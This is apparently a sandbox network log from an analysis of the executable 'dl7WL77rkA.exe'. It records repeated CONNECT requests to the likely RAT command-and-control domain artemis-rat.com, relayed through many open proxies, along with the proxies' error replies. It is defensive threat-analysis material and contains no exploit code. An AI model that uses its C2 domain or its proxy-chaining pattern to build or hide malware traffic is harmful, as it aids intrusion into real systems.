Mar 11, 2024 03:30:47.905704021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905191898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1023	192.168.2.5	52646	102.132.50.6	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.812525034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1024	192.168.2.5	52297	51.158.54.60	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.816634893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.996531010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.014666080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.014702082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1025	192.168.2.5	50600	51.89.173.40	23854	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.828840971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.996701956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1026	192.168.2.5	52739	195.248.243.149	7237	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.832983971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.498770952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.498742104 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.389817953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1027	192.168.2.5	52758	172.67.181.11	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.838455915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.993762970 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1028	192.168.2.5	52750	157.185.157.151	26589	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.842770100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1029	192.168.2.5	52745	98.162.25.4	31654	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.842770100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1030	192.168.2.5	52746	98.170.57.249	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.855499983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1031	192.168.2.5	52740	125.122.26.242	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.857732058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1032	192.168.2.5	52792	104.19.171.188	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.857733011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.014096975 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1033	192.168.2.5	52735	103.83.232.122	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.869061947 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1034	192.168.2.5	52247	122.54.147.110	8082	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.869416952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.996709108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.014667988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.014703035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1035	192.168.2.5	52807	185.238.228.202	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.870381117 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.026665926 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1036	192.168.2.5	52776	23.231.34.48	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.879628897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.071126938 CET	401	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1037	192.168.2.5	52742	8.213.128.90	444	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.882169962 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1038	192.168.2.5	52156	162.253.68.97	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.884237051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1039	192.168.2.5	50641	51.158.96.66	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.886161089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.742512941 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1040	192.168.2.5	50662	171.244.140.160	27056	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.891829967 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.996813059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.014667988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1041	192.168.2.5	50750	5.252.23.249	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.912838936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.092350006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.093231916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.092979908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1042	192.168.2.5	52741	103.118.44.61	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.915467978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1043	192.168.2.5	52299	221.151.181.101	8000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.923662901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.092407942 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:48.093859911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.092979908 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1044	192.168.2.5	52342	139.224.64.191	8081	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.926528931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.254502058 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 